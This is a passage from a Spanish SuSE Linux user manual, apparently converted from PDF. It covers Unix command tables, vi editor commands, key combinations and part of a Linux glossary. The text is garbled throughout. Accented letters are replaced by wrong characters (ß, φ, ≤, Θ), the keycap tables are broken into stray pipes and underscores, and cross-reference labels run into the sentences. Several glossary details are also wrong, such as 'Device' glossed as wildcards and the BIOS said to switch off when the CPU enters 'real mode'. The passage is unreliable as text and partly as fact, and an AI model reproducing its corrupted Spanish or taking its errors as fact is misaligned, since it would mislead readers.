adelante con_la tecla ''espacio'' y hacia
atrßs con |b_ |).
_______________________________________________________________________________________________________*
*_________
Tabla 19.10: Contin·a en la pßgina siguiente ...
488
____________________________________________________________________________________________19.14.__Otras_perspectivas______*
*______________________
______________________________________________________________________________________________________________________
mv de_fichero a_fichero Mueve un fichero o lo renombra.
rm fichero Borra fichero (ítambiΘn enlaces!).
rm -r carp Borra el directorio carp recurrente (con
sub-directorios).
rmdir carp Borra el directorio carp (si estß vacφo).
______________________________________________________________________________________________________________________
Tabla 19.10: Resumen de los comandos mßs importantes de Unix
La tabla 19.11 menciona algunos comandos para efectuar b·squedas.
______________________________________________________________________________________________________________________
find . -name "file" Busca file en todos los sub-directorios
del directorio actual.
find . -name "*pepe*" Busca todos los ficheros que contienen la
cadena de caracteres `pepe'.
man comando Explica comando .
grep muestra ficheros Busca en todos los ficheros la `mues-
tra' indicada, que puede contener
tambiΘn ''expresiones regulares'' (ver
apartado 19.7.2 en la pßgina 474Wild-
cards ~ Comodinessubsection.19.7.2 o
man regexp ).
______________________________________________________________________________________________________________________
Tabla 19.11: Resumen de comandos de b·squeda
19.14 Otras perspectivas
Los directorios generales con la mayorφa de ficheros ejecutables bajo Linux
son:
o /bin
o /sbin
o /usr/bin
o /usr/sbin
o /usr/X11R6/bin
y contienen muchos comandos adicionales.
Usando man <comando> se puede obtener informaci≤n detallada sobre los
comandos y programas disponibles, si la Manual-Page correspondiente existe
(ver apartado 19.9 en la pßgina 480Manual-Pagessection.19.9). Las explica-
ciones aparecen entonces en el dispositivo estßndar de salida (generalmente
el monitor).
*
* 489
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
Usando Pipes en la lφnea de comando de la shell, se pueden enviar estas lφneas
directamente a una impresora o a un fichero. Los Pipes se simbolizan con el
carßcter `|'.
Un ejemplo:
Para imprimir la Manual-Page acerca del comando ls , se teclea lo siguiente:
tux@tierra: > man -t ls | lpr
Para acceder a las Manual-Pages por temas es posible usar el sistema de
ayuda a base de hipertexto del sistema SuSE Linux. Se inicia tecleando
simplemente hilfe o susehelp y se tendrß la posibilidad de acceder a la
ayuda c≤modamente y de seguir la referencias cruzadas entre las Manual-
Pages.
490
_______________________________________________________________________________________________________19.15.__El_editor_vi_*
*______________________
19.15 El editor vi
Aunque el editor vi es un poco complejo y por tanto su uso exige una cierta
prßctica, se explican aquφ algunos detalles sobre estΘ, ya que estß presente en
todos los sistemas que se parecen a UNIX. vi forma parte de la instalaci≤n
estßndar de Linux y los comandos para su uso no dan lugar a dudas, lo
que evita equivocaciones. Ademßs, muchas veces ocurre que cuando ya no
funciona nada, vi sφ que funciona.
La siguiente explicaci≤n corta permite editar p. ej. ficheros de configuraci≤n
diversos con el editor vi .
El concepto:
El editor vi conoce tres modus operandi:
o Modo de comando (ingl. command mode)
Cada tecla pulsada se entiende como parte de un comando.
o Modo de inserci≤n (ingl. insert mode)
Las teclas pulsadas se entienden como letras a introducir en el texto.
o Modo de comandos complejos (ingl. last line mode)
Sirve para introducir comandos complejos que se editan en la ·ltima lφnea.
A continuaci≤n se encuentran los comandos mßs importantes del modo de
comando:
______________________________________________________________________________________________________________________
i Cambia al modo de inserci≤n (Los caracteres se introducen en la
posici≤n actual del cursor.
a Cambia al modo de inserci≤n (Los caracteres se introducen detrßs
de la posici≤n actual del cursor.
A Cambia al modo de inserci≤n (Los caracteres se a±aden al final de
la lφnea.
R Cambia al modo de inserci≤n y sobreescribe el texto antiguo.
r Cambia al modo de inserci≤n para sobreescribir una sola letra.
s Cambia al modo de inserci≤n sobreescribiendo el carßcter por de-
bajo del cursor con la letra introducida.
C Cambia al modo de inserci≤n reemplazando el resto de la lφnea por
el texto nuevo.
o Cambia al modo de inserci≤n introduciendo una lφnea nueva detrßs
de la lφnea actual.
O Cambia al modo de inserci≤n introduciendo una lφnea nueva por
delante de la lφnea actual.
x Borra el carßcter actual.
dd Borra la lφnea actual.
dw Borra hasta el final de la palabra actual.
cw Cambia al modo de inserci≤n sobreescribiendo el resto de la palabra
actual con las letras insertadas.
u Deshace el ·ltimo comando.
______________________________________________________________________________________________________________________
Tabla 19.12: Contin·a en la pßgina siguiente ...
*
* 491
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
J A±ade la siguiente lφnea a la actual.
. Repite el ·ltimo comando.
: Cambia al modo de comandos complejos.
_______________________________________________________________________________________________________*
*_________
Tabla 19.12: Comandos simples del editor vi
Antes de introducir todos los comandos se puede a±adir una cifra, que indica
la cantidad de objetos susceptibles a la modificaci≤n. Asφ se pueden borrar
p. ej. 3 palabras simultaneamente, introduciendo el comando `3dw'. Teclear
`10x' sirve para borrar diez caracteres desde la posici≤n del cursor tal como
`20dd' borra 20 lφneas.
Los comandos mßs importantes del modo de comandos complejos son:
_______________________________________________________________________________________________________*
*_________
:q! Salir de vi , sin grabar modificaciones.
:w <nombre_fichero> Graba el fichero en <dateiname>.
:x Graba el fichero modificado y sale del edi-
tor.
:e <nombre_fichero> Carga <nombre`fichero> para su edici≤n
:u Deshace el ·ltimo comando de edici≤n
_______________________________________________________________________________________________________*
*_________
Tabla 19.13: Comandos complejos del editor vi
Para llegar desde_el modo de inserci≤n al modo de comandos complejos hay
que pulsar |E____S|C.
492
ApΘndice A
Teclas y combinaciones importantes
A continuaci≤n se presenta el resumen de algunas teclas o combinaciones de
teclas importantes.
_______________________________________________________________________________________________________________________
|||||__
_- ___|___ Ejecutar un comando en la lφnea de coman-
dos o retorno de carro.
Alt||||||__+|F___|_1-|F___|_6 Cambiar a otra consola en modo texto.
|||||____ ____ ___ ___
Ctr____|____l+ |A____l|t+|F___|1-|F___|6 Cambiar a otra consola bajo el sistema
X Window o el emulador de DOS.
Alt||||||__+ |F___|_7 Regresar a los X.
|||||____ ____
Ctr____|____l+______| ____A|lt + Finalizar los X.
Bac|||||_______|____kspace
|||||_________ _________
Shi_________|____ft+ *|_________|Re Pßg Mostrar pantallas anteriores de la consola.
Funciona hasta el pr≤ximo cambio de con-
sola.
Shi|||||____|_____ft+ *|_________|_Av PßgInversi≤n de |S___________|_hift+|*_________|_Re. Pßg
|||||_
" ||__ Muestra en la lφnea de comandos el coman-
do anterior.
# ||||||__ Inversi≤n de |"__|.
|||||_________ ____
Shi_________|____ft+_* |____A|lt + Bajo el sistema X Window: Cambio a la
Cur|||||__|____sor ventana mßs cercana del escritorio virtual
en la direcci≤n de la flecha. La cantidad
de ventanas a disposici≤n se determina en el
fichero .fvwm[2]rc mediante el parßmetro
DeskTopSize .
Ctr||||||____l+|A_____|lt+| ____________|(gris)Modifica la resoluci≤n de la pantalla en el
orden de las entradas hechas en el fichero
/etc/XF86Config.
Ctr||||||____l+ |D__| Logout. Equivale al comando exit . Con
ignoreeof=x se puede indicar en /etc/
profile la cantidad de repeticiones nece-
sarias (=x ) para que el comando sea acepta-
do.
_______________________________________________________________________________________________________________________
Tabla A.1:
*
* 493
A. Teclas y combinaciones_importantes_____________________________________________________________________________________________*
*_______________________________________@
494
ApΘndice B
Glosario
Este glosario esta limitado a tΘrminos o abreviaciones especφficas de UNIX
o Linux, ya que la cantidad de tΘrminos existentes en la informßtica es muy
grande. Por eso se deberφan conocer ya, tΘrminos como bit y byte, por ejem-
plo.
Acr≤nimo
Las abreviaciones que se pueden pronunciar como una palabra se denom-
inan acr≤nimos. + Linux, + GNU y + RAM son acr≤nimos conocidos.
Administrador de sistema (ingl. system administrator, root user)
Es la persona encargada de mantener y configurar un sistema complejo
de computadoras o una red. El administrador de sistema (`root') es
normalmente la ·nica persona con acceso a todas las posibilidades de
configuraci≤n de una computadora.
Alias
El tΘrmino alias se usa generalmente en combinaci≤n con la + Shell. Un
alias permite abreviar comandos que se usan con frecuencia o que simple-
mente son muy largos. Para usar alias consulte el apartado sobre el uso
de la shell.
Anfitri≤n (ingl. Host)
El anfitri≤n es la computadora a la que se conecta en concepto de recibir
servicios de ella. Muchas veces es equivalente a un servidor, pero siempre
depende desde donde se conecta.
Arrancar (ingl. Boot(ing))
Se denomina asφ a todo el proceso de inicio de la computadora, desde el
momento de encender la mßquina hasta que el usuario la pueda usar. En
el caso de Linux es la inicializaci≤n del kernel y el inicio de los servicios.
Esto comienza con el mensaje `uncompressing linux...' y termina
con la petici≤n de entrada al sistema `login:'
ASCII
American Standard Code for Information Interchange. Conjunto de nor-
mas de codificaci≤n de caracteres mediante caracteres numΘricos, de am-
plia utilizaci≤n en informßtica y telecomunicaciones.
ATAPI
ATAPI es un protocolo de comunicaci≤n para acceder a dispositivos
conectados a una controladora (E)IDE. Los Lectores CD-ROM con dicha
*
* 495
B. Glosario _________________________________________________________________________________________________________________*
*_______________________________________@
interfaz tienen una amplia difusi≤n (+ Lector CD-ROM), pero ya hay tam-
biΘn unidades ZIP, streamer y disqueteras que incorporan la interfaz AT-
API. Linux soporta todos estos dispositivos.
Backup
Backup (Respaldo) es el tΘrmino inglΘs que se usa generalmente para
hablar de copias de seguridad. Es muy recomendable hacer regularmente
respaldos de los datos mßs importantes, entre ellos las configuraciones de
los programas. Bajo Linux el comando tar es el mΘtodo principal para
almacenar datos en un + Dispositivo. Muchas veces tar se combina con
gzip .
BIOS (ingl. Basic Input Output System)
Cada PC tiene una peque±a memoria que almacena la BIOS. Esta con-
tiene programas de inicializaci≤n y de comprobaci≤n para el arranque de
la computadora asφ como algunos drivers (simples) para los perifΘricos
principales como teclado, tarjeta grßfica, disqueteras, interfaces y reloj.
Bajo Linux la BIOS estß desactivada, ya que se apaga durante el arranque
del kernel cuando el procesador (+ CPU) pasa al ''modo real''. Las rutinas
del kernel de Linux son mucho mßs potentes.
Boot (ingl. bootstrap = cord≤n de bota)
+ Arrancar.
B·fer (ingl. buffer)
Un b·fer es un tipo de memoria intermedia, que permite acelerar los
accesos repetidos a los datos que se encuentran en Θl. Linux trabaja con
muchos tipos de b·feres.
CD-ROM (ingl. CD-ROM Drive)
+ Lector CD-ROM.
Comodines (ingl. wildcards)
VΘase + Wildcards.
Consola (ingl. console, terminal)
Antes era equivalente a un terminal. Bajo Linux existen consolas vir-
tuales que permiten usar un monitor para varias sesiones independi-
entes, pero simultßneas (ver apartado 19.4 en la pßgina 471Consolas
virtualessection.19.4). Por defecto (+ Runlevel 2) tiene 6 consolas_ vir-
tuales a su disposici≤n, a las que se puede acceder con las teclas |A____l|t+
|____|F1hasta |A_____|lt+ |F___|_6.
Desde el sistema X Window,_que usa_la_consola_7,_se accede_a_las_consolas___ ___
de texto mediante |C______|trl+ |A____l|t+ |F___|1hasta |C______|trl+ |A____l|t+ |F___|6.
CPU (ingl. Central Processing Unit)
El procesador de la computadora. Los procesadores de Intel de la serie
x86 se pueden usar en modos de operaci≤n diferentes. Hay que distinguir
especialmente entre los dos modos siguientes:
o real Mode: El modo de operaci≤n original. Es lento y solo permite
aplicaciones anticuadas (''software de 16 bit''). Este modo de op-
eraci≤n no conoce zonas o comandos protegidos y el tama±o de los
segmentos estß reducido a 64K. La computadora se inicia en este mo-
do de operaci≤n cuando se enciende o cuando se resetea + Resetear.
496
_________________________________________________________________________________________________________________B.__Glosario_*
*____________________
o protected Mode: (a partir de 286) Modo de operaci≤n protegido en
el cual se distinguen diferentes estados de privilegio. Solo cuando el
procesador estß en el ''bucle 0'' todas las operaciones estßn permitidas
(allφ se encuentra el kernel de Linux), mientras que las aplicaciones
(tambiΘn las del superusuario) trabajan en el ''bucle 3'' (privilegios
mφnimos). Ademßs, los procesadores a partir del 386 permiten seg-
mentos que cubren todo el rango de memoria, lo que permite el acceso
lineal a la memoria (Flatmodel). Linux usa el procesador exclusiva-
mente en el ''modo protegido'' del 386 (o superiores), que es el modo
que aprovecha toda la potencia de la CPU.
Linux existe actualmente para las siguientes arquitecturas: Intel x86, DEC
alpha, Motorola m68k, Sparc, PowerPC, MIPS y ARM.
Cursor
El cursor es generalmente un peque±o bloque o una ralla, que marca el
lugar de introducci≤n de caracteres. Bajo Linux este tΘrmino se encuentra
en relaci≤n con:
o Shell/Editor: Lugar marcado por un cuadro o una ralla intermitente
que indica el lugar en el que se introducen los caracteres a travΘs del
teclado. En el caso de la shell, el cursor se encuentra en la izquierda
por detrßs del + Prompt.
o Cursor del mouse en el sistema X Window: Se trata de la flecha que
indica la posici≤n del mouse y cuyo aspecto se cambia seg·n el fondo.
Por ejemplo, es una flecha sobre un xterm, tiene forma de ''X'' sobre el
fondo y forma de ''I'' sobre la ventana de un + Editor.
o GPM-Cursor (Consola): Un bloque del tama±o de una letra, que se
puede posicionar en la + Consola mediante movimientos del mouse
para hacer Cut & Paste (+ Selecci≤n); funciona gracias al programa
gpm .
Daemon
Un daemon (ingl. Dist and execution monitor) es un programa que ''estß
de guardia'' en el fondo y que toma acci≤n en el momento necesario.
Daemons responden p. ej.a las peticiones de FTP o HTTP tal como se
encargan de la actividad en las ranuras PCMCIA.
Densidad de inodes
La densidad de inode se selecciona de acuerdo al tama±o promedio de
fichero que se espera en una determinada partici≤n. Por lo general los
valores previstos por YaST garantizan un uso efectivo de la partici≤n y no
se precisa ninguna modificaci≤n.
Se trata de algo que suele provocar confusi≤n entre los principiantes en
materia de Linux, ya que la densidad es alta cuando el tama±o del inode
es peque±o, por tanto caben mßs inodes dentro de la partici≤n.
Device (ingl. wildcards)
VΘase + Dispositivo.
Direcci≤n-IP
Direcci≤n numΘrica de 32 bit, que estß asignada exclusivamente a una
*
* 497
B. Glosario _________________________________________________________________________________________________________________*
*_______________________________________@
computadora; se anota generalmente en cuatro valores decimales sepa-
rados por puntos (p. ej. 192.168.10.1). Cuando una computadora tiene
varias conexiones de red (pasarela), tambiΘn tiene varias direcciones IP.
Directorio (ingl. directory)
Los ''directorios'' forman la estructura del + Sistema de ficheros. El direc-
torio contiene nombres de ficheros y de los sub-directorios. Como cada
directorio puede contener subdirectorios es posible formar la estructura
de un ßrbol de directorios. Para ver el contenido de un determinada di-
rectorio se puede cambiar hacia Θste, lo cual es equivalente a bajar un
nivel en el ßrbol de directorios. Los ficheros son como hojas del ßrbol, ya
que es allφ donde se termina la posibilidad de bifurcar. Los nombres de
los directorios tienen las mismas restricciones de los nombres de ficheros.
Los ''nombres'' especiales `.' y `..' simbolizan el directorio en sφ y su
antecesor en la jerarquφa del sistema de ficheros respectivamente.
Directorio de usuario (ingl. home directory)
El directorio de usuario (directorio ''home'') es el punto de partida de
la mayorφa de actividades del usuario. Aquφ es donde el usuario puede
almacenar sus datos privados y aparte del + Administrador de sistema, Θl
es el ·nico que tiene permiso de escribir en este directorio. La ubicaci≤n
del directorio de usuario se fija bajo Unix en la + Variable de entorno
HOME. El sφmbolo para el directorio de usuario es ` ' (ver apartado 19.6
en la pßgina 472Trabajar con directoriossection.19.6) .
Directorio raφz (ingl. root directory)
Es el directorio principal de un + Sistema de ficheros. En comparaci≤n a
los demßs directorios de un sistema de ficheros, el directorio raφz no tiene
ning·n directorio superior. La entrada `..' del directorio raφz apunta
hacia sφ mismo. Bajo Unix el directorio raφz estß representado por el
sφmbolo `/'.
Dispositivo (ingl. Device)
Bajo Linux se efect·a el acceso a los dispositivos a travΘs de unas entradas
especiales en el sistema de ficheros. Estas entradas se encuentran en
/dev/ y contienen los n·meros de dispositivo con los que el + Kernel
puede acceder a los drivers de los dispositivos.
Editor
Los editores son programas que permiten modificar los datos intro-
duciendo p. ej. texto. Algunos editores conocidos de Unix son GNU
Emacs (emacs ) o vi (ver apartado 19.15 en la pßgina 491El editor
visection.19.15) . Si a·n no conoce ninguno de estos editores, comience
primero con joe , ya que Θste es compatible con WordStar.
ELF (ingl. Executable and Linking Format)
ELF es el formato estßndar de los binarios en Linux. En comparaci≤n al
antiguo formato a.out , el nuevo facilita p. ej. generar ''shared libraries''.
Para obtener mßs informaci≤n consulte el HowTo en /usr/doc/howto/
en/ELF-HOWTO.gz.
E-Mail (ingl. electronic mail)
Proceso de distribuci≤n de mensajes electr≤nicos entre usuarios dados de
498
_________________________________________________________________________________________________________________B.__Glosario_*
*____________________
alta en una red de computadoras. Al igual que en el correo normal con
sobre y papel (denominado muchas veces (ingl. snail mail)) es preciso
indicar la direcci≤n del destinatario; esto se hace con su direcci≤n de E-
Mail. Junto con el texto de los E-Mail se puede mandar tambiΘn imßgenes
y sonidos. La ventaja del E-Mail son la rapidez y el bajo coste.
Encriptaci≤n (ingl. encryption)
Encriptar datos significa esconderlos frente a terceros. Se trata de una
buena medida cuando los datos se envφan a travΘs de conexiones inseguras
(p. ej. vφa Internet) y terceras personas no los deberφan poder leer (p. ej. en
caso de transmitir n·meros de tarjetas de crΘdito, contrase±as o cualquier
otra informaci≤n confidencial). La longitud de la clave que se usa para
encriptar determina el nivel de seguridad (existen programas que pueden
romper claves demasiado cortas) ; ver capφtulo 18 en la pßgina 451Seguri-
dad y Confianzachapter.18 ff.
En determinados paises existen restricciones en cuanto a la encriptaci≤n
de datos por lo que es posible que se prohiba el uso de programas como
SSH , PGP o accesos a webs mediante SSL o que el uso de estos progra-
mas se restrinja a claves cortas.
Aunque SuSE ofrezca estos programas en la distribuci≤n (de acuerdo con
la ley vigente), la responsabilidad de averiguar si se permite su uso en su
paφs recae sobre Usted (el usuario) ~ SuSE no se responsabiliza de ello.
Enlace (ingl. link)
Un enlace es una entrada en el directorio que apunta a otro fichero por lo
que el enlace mismo no contiene datos. Se diferencia entre:
o Enlaces simb≤licos, que contienen referencias de nombres. No importa
si el objeto de destino existe o no, y tampoco importa si se trata de un
directorio en lugar de un fichero o que se encuentre en otro sistema de
ficheros.
o Enlaces ''duros'' (hardlinks), que contienen una referencia a un inode.
Un enlace duro tiene que apuntar a un objeto sobre el mismo sistema
de ficheros y el destino no puede ser un directorio. Ademßs todos los
enlaces duros a un inode son de igual importancia, por lo que los datos
de un fichero se mantienen hasta que se borre el ·ltimo enlace duro.
Entorno (ingl. environment)
La + Shell proporciona normalmente un entorno que permite al usuario
hacer definiciones temporales. Estas definiciones son p. ej. las ramas
hacia determinados programas, el nombre de usuario, la rama actual, la
apariencia del ''prompt'', etc. Estos datos se almacenen en + Variables de
entorno. Normalmente son los ficheros de configuraci≤n de la Shell los
que se ocupan de definir las variables de entorno.
Entorno grßfico de usuario (ingl. graphical user interface, GUI)
Las superficies grßficas de usuario pretenden simular el escritorio del
usuario (ingl. graphical / electronic desktop). La pantalla que debe operar
en modo grßfico representa el escritorio (ingl. desktop) sobre el cual se
colocan las + Ventanas. Dentro de las ventanas se ejecutan diferentes
procesos. Para usar el entorno grßfico se necesita normalmente un mouse,
*
* 499
B. Glosario _________________________________________________________________________________________________________________*
*_______________________________________@
trackball o algo similar. GUIs conocidos son el + X Window System,
Apple Macintosh System 7, Digital Research GEM y MS-Windows .
Ethernet
Hardware de red de amplia difusi≤n para + LANs con estructura de bus.
Originalmente trabajaba con 10 Mbit/s a travΘs de cable coaxial, pero hoy
en dφa se usan tambiΘn redes con pares de cables trenzados (ingl. twisted
pair) con velocidades que alcanzan los 100 Mbit/s y en arquitectura de
estrella.
EXT2 (ingl. second extended Filesystem)
Es el sistema de ficheros estßndar de Linux. Se caracteriza por su alto
rendimiento, los nombres de ficheros largos, los derechos de acceso y la
tolerancia a fallos.
Fichero (ingl. file)
Bajo Linux cualquier informaci≤n se intercambia vφa ficheros. Estos sir-
ven, como en otros sistemas operativos, sobre todo para almacenar datos
en medios de almacenamiento. El nombre del fichero debe ser ·nico den-
tro del directorio en el cual se encuentra. El + Sistema de ficheros permite
estructurar los ficheros en una jerarquφa de directorios.
Adicionalmente, Linux conoce otros ficheros que tienen un fin especial.
Para obtener mßs informaci≤n consulte las explicaciones sobre + Enlace,
+ Device y + Proc.
Foco (ingl. focus)
Un determinado elemento en la pantalla, p. ej. la lφnea de entrada de un
+ Terminal, estß en el foco cuando Θste recibe las se±ales del teclado.
Normalmente el foco estß vinculado a la posici≤n del + Cursor. La forma
de gestionarlo se denomina ''polφtica de foco'' ((ingl. focus policy)). Se
distingue entre el foco que sigue siempre la posici≤n del mouse y el foco
que solo pasa a una determinada ventana cuando Θsta es seleccionada.
FTP (ingl. file transfer protocol)
FTP es para UNIX el mΘtodo de transferencia de ficheros de una com-
putadora a otra. En este proceso estßn involucrados el servidor FTP (la
computadora que proporciona los datos) y el cliente FTP (la computadora
que pide los datos).
Gestor de ventanas (ingl. window manager)
Bajo el + X Window System se necesita un gestor para la manipulaci≤n de
las + Ventanas, p. ej. para abrir, cerrar o mover las mismas asφ como para
''iconizarlas''. Normalmente los gestores de ventana incorporan funciones
adicionales como barras de herramientas, que contienen iconos para ini-
ciar determinadas aplicaciones.
GNU
GNU significa GNU is Not Unix y es un proyecto de la Free Software
Foundation (FSF) . El objeto del ''Proyecto GNU'', que estß muy vin-
culado a la persona de Richard Stallman (RMS ), es la creaci≤n de
un sistema operativo ''libre'', compatible con Unix. ''Libre'' no se re-
fiere tanto a ''libre de costes'', pero sφ a la libertad en cuanto al dere-
cho de acceso, modificaci≤n y uso de los programas. Para que el c≤di-
500
_________________________________________________________________________________________________________________B.__Glosario_*
*____________________
go fuente (ingl. source) se mantenga libre, cualquier modificaci≤n en
Θl tambiΘn debe serlo. La forma para asegurar esto se manifiesta en el
documento http://www.gnu.org/gnu/manifesto.html y se respal-
da jurφdicamente mediante la licencia ''GPL'' en http://www.gnu.org/
copyleft/gpl.html (ver anexo G en la pßgina 533La licencia p·blica
general GNU (GPL)appendix.G) o la licencia LGPL en http://www.
gnu.org/copyleft/lgpl.html.
Dentro del ßmbito del proyecto GNU todas las utilidades de Unix se
desarrollan de nuevo, a±adiendo mßs funcionalidades. Otra parte del
proyecto hace el software mßs complejo como p. ej. Emacs o la librerφa
glibc .
El kernel de + Linux, con licencia seg·n la GPL, saca provecho de este
proyecto (especialmente por las herramientas), pero no es equivalente al
proyecto GNU.
Host
+ Anfitri≤n.
Inode
El sistema de ficheros + EXT2 administra la informaci≤n sobre los
ficheros en el disco duro mediante ''inodes''. Los inodes contienen ~ en-
tre otras ~ informaciones sobre el propietario de un fichero, los derechos
otorgados, la fecha del ·ltimo cambio, etc.
Interfaz (ingl. interface)
La interfaz es el sitio a travΘs del cual diferentes sistemas intercambian
informaci≤n. Una interfaz puede ser p. ej. el teclado, ya que es por allφ
por donde la computadora y el ser humano intercambian informaci≤n
(ingl. Man Machine Interface). Esta formulaci≤n es muy abstracta, mßs
concretamente se pueden distinguir las siguientes interfaces:
o Interfaz de hardware: A travΘs de Θsta se conectan p. ej. perifΘricos;
un ejemplo es el puerto paralelo, el puerto serie o el conector SCSI.
o Interfaz de software: Esta interfaz determina el modo en que diferentes
programas deben intercomunicarse (ver tambiΘn + Protocolo).
o Interfaz de usuario: Aquφ es donde el ser humano y la mßquina inter-
cambian datos. Ejemplos: el mouse, el monitor y el teclado.
Internet
Internet es una + Red mundial, compuesta por computadoras de mu-
chos tipos. Las computadoras se identifican en Internet mediante sus
+ Direcci≤n-IP (IP = internet protocol); estas son ·nicas en el mundo.
Las direcciones se clasifican en direcciones nacionales, de dominio y de
sub-dominio tal como de computadora. Aparte de la direcci≤n IP numΘri-
ca existen ''alias'' (p. ej. sol.cosmos.univ), que facilitan a los usuarios
memorizar la direcci≤n. Internet no solo funciona gracias al Hardware,
sino tambiΘn a una serie de + Protocolos, p. ej. ftp, http, tcp, etc., que
act·an en diferentes niveles l≤gicos. Los servicios conocidos de Internet
son p. ej. + E-Mail o el World Wide WEB (WWW o W3). Algo impor-
tante respecto a Internet es la ''Netiquette'' (la etiqueta en Internet), que
*
* 501
B. Glosario _________________________________________________________________________________________________________________*
*_______________________________________@
regula el buen comportamiento, necesario para una correcta convivencia
en la red, en una especie de ''c≤digo de honor''.
ISP (ingl. Internet Service Provider)
Proveedor de servicios de Internet.
Kernel
El kernel es el n·cleo; es el ''coraz≤n'' de todo el sistema. Allφ es donde
se reunen todas las funciones: la gesti≤n de la memoria, el manejo de
la tabla de procesos, la administraci≤n de la multitarea, de la capacidad
de multiusuario, de los sistemas de ficheros y de los accesos a ellos, la
gesti≤n de los drivers, etc. Algunas de estas caracterφsticas se pueden
realizar en forma de m≤dulos ; ver el capφtulo 13 en la pßgina 349El
kernelchapter.13 .
LAN (ingl. local area network)
Es una + Red de ßrea local gestionada por un + Administrador de sistema.
Las LANs se conectan normalmente a travΘs de pasarelas (ingl. gateway)
a otras redes y forman asφ una + WAN.
Lφnea de comandos
Bajo Unix se puede trabajar mucho con la lφnea de comandos. Cualquier
programa que se inicie desde la lφnea de comandos de la + Shell puede
tener opciones, como p. ej. el comando ls , cuyas opciones permiten mod-
ificar la cantidad de informaci≤n que se indica en pantalla.
Linux
N·cleo de sistema operativo de alto rendimiento, libre seg·n la licencia
+ GNU. El nombre Linux es un + Acr≤nimo formado de ''Linus' uniX'')
por el creador Linus Torvalds.
Linux originario
Durante el proceso de instalaci≤n se inicia primero un ''Linux originario''.
Este sistema es capaz de trabajar sin disco duro, ya que a·n no es posi-
ble acceder a Θl. El kernel usado proviene directamente de disquete de
arranque o del CD-ROM. La imagen del directorio ''root'' se carga junto
con otros programas (p. ej. YaST ) a un ''RAM-Disk''.
DespuΘs de la primera entrada al sistema, YaST se inicia y la instalaci≤n
del Linux verdadero comienza.
Lector CD-ROM (ingl. CD-ROM Drive)
Hay diferentes tipos de lectores CD-ROM. Los mßs difundidos son los
lectores del tipo + ATAPI, que se conectan a una controladora (E)IDE.
Aparte de estos hay tambiΘn
o Lectores CD-ROM tipo SCSI, que se conectan a una controladora SC-
SI.
o Lectores CD-ROM que se conectan al puerto paralelo.
o Lectores CD-ROM especiales, que se conectan a una controladora es-
pecial o a una tarjeta de sonido.
íSolo para los dos ·ltimos hace falta seleccionar drivers especiales!
Manual-Page
Normalmente la documentaci≤n de los sistemas Unix se encuentra en
502
_________________________________________________________________________________________________________________B.__Glosario_*
*____________________
forma de ''Manual-Pages'' o ''MAnpages'' (pßginas de manual), que
se pueden visualizar con el comando man . Respecto al uso de
las Manual-Pages, consulte el apartado 19.9 en la pßgina 480Manual-
Pagessection.19.9.
MBR (ingl. master boot record)
Es el primer sector fφsico (cilindro 0, cabezal 0, sector 0) de un disco duro
de la computadora. Cada disco duro lleva un MBR, pero no todas las +
BIOS pueden arrancar cualquier sistema operativo desde cualquier disco.
Arrancando desde el disco duro, la BIOS carga el contenido del MBR a
una direcci≤n fija de la memoria y pasa el control al peque±o programa
cargado desde el MBR. Este carga entonces el sistema operativo desde
una partici≤n del disco duro o desde un ''bootloader'' mßs complejo, como
p. ej. LILO .
Medio de almacenamiento
Un tΘrmino genΘrico para soportes de datos de tipos muy variados.
Medios de almacenamiento tφpicos son los disquetes, discos duros, cintas,
CD-ROMs, discos magneto-≤pticos, memorias hologrßficas, etc.
Memoria
En cuanto a la memoria, se habla a veces de la memoria de trabajo o de la
memoria principal (ingl. main memory). En el caso de Linux se habla de
dos tipos diferentes de memoria:
o Memoria fφsica: Esta es la memoria que se encuentra en forma de
chips tipo RAM en la computadora. Tφpicamente se usan actualmente
64 MB hasta 256 MB de memoria. El acceso a la memoria + RAM es
muy rßpido.
o Memoria virtual: Gracias al concepto de la memoria virtual, la com-
putadora puede entender ciertas zonas marcadas del disco duro como
memoria de trabajo (+ Swap).
Memoria RAM (ingl. memory)
+ Memoria.
Men· (ingl. menu)
La mayorφa de las funciones de un programa que se ejecuta en un en-
torno grßfico se puede acceder a travΘs de un men·. Los men·s presentan
(como la carta en un restaurante) los comandos disponibles en listas de-
splegables para que el usuario los pueda seleccionar y ejecutar. Los pro-
gramas ofrecen generalmente una barra de men·s (ingl. menu bar) que
contiene sub-menus. Adicionalmente hay men·s del tipo ''Popup'', que
aparecen sobre el fondo apretando un bot≤n del mouse.
MIME
''Multipurpose Internet Mail Extensions'' ~ en principio se plante≤ para
ampliar la posibilidades de E-Mail(p. ej. con sonido o imßgenes), pero se
puede usar este estßndar tambiΘn en otras ocasiones.
Montar (ingl. mount)
Es el tΘrmino usado en Unix para incorporar un sistema de ficheros en
*
* 503
B. Glosario _________________________________________________________________________________________________________________*
*_______________________________________@
el ßrbol de directorios del sistema. Como + Punto de anclaje sirve nor-
malmente un directorio vacφo (ver tambiΘn apartado 19.11.2 en la pßgi-
na 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2)
.
Mountpoint
+ Punto de anclaje.
Multiprocesador
Cuando una computadora incorpora mßs de una + CPU se habla de un
sistema multiprocesador. En relaci≤n a Linux se escucha muchas veces la
abreviaci≤n SMP (Symmetric Multi Processing) que representa una forma
especial de trabajar con m·ltiples procesadores.
Multitarea (ingl. multitasking)
Los sistemas operativos capaces de ejecutar mßs de un + Programa si-
multßneamente se denominan sistemas operativos de multitarea. Se difer-
encia entre dos formas distintas de multitarea:
o Multitarea concurrente: El sistema operativo se encarga de distribuir
el tiempo de cßlculo entre los distintos procesos. Una forma especial
es la multitarea ''preemptiva''.
o Multitarea cooperativa: Los procesos ''ceden'' su tiempo de cßlculo por
sφ mismos.
Se puede notar que la primera opci≤n es mejor, ya que ning·n proceso de
usuario puede ocupar la CPU completamente. Linux ofrece la posibilidad
de trabajar con multitarea preemptiva.
Multiusuario
El funcionamiento de + Multitarea es el requisito para el trabajo simul-
taneo de varios usuarios en una sola computadora. Un sistema operativo
que ofrece la posibilidad de trabajar con varios usuarios al mismo instante
se denomina sistema operativo multiusuario; Linux es multiusuario.
NFS (ingl. network file system)
Protocolo para acceder a sistemas de ficheros de computadoras en red. En
el servidor se define mediante el fichero de configuraci≤n /etc/exports
cußles computadoras tienen acceso a cußl parte del ßrbol de directorios
del servidor. Asφ el cliente puede montar estos directorios en su ßrbol de
directorios. (ver + Montar).
Nivel de ejecuci≤n
+ Runlevel.
Opciones
Mediante las opciones (en inglΘs se denominan a veces ''switches'') el
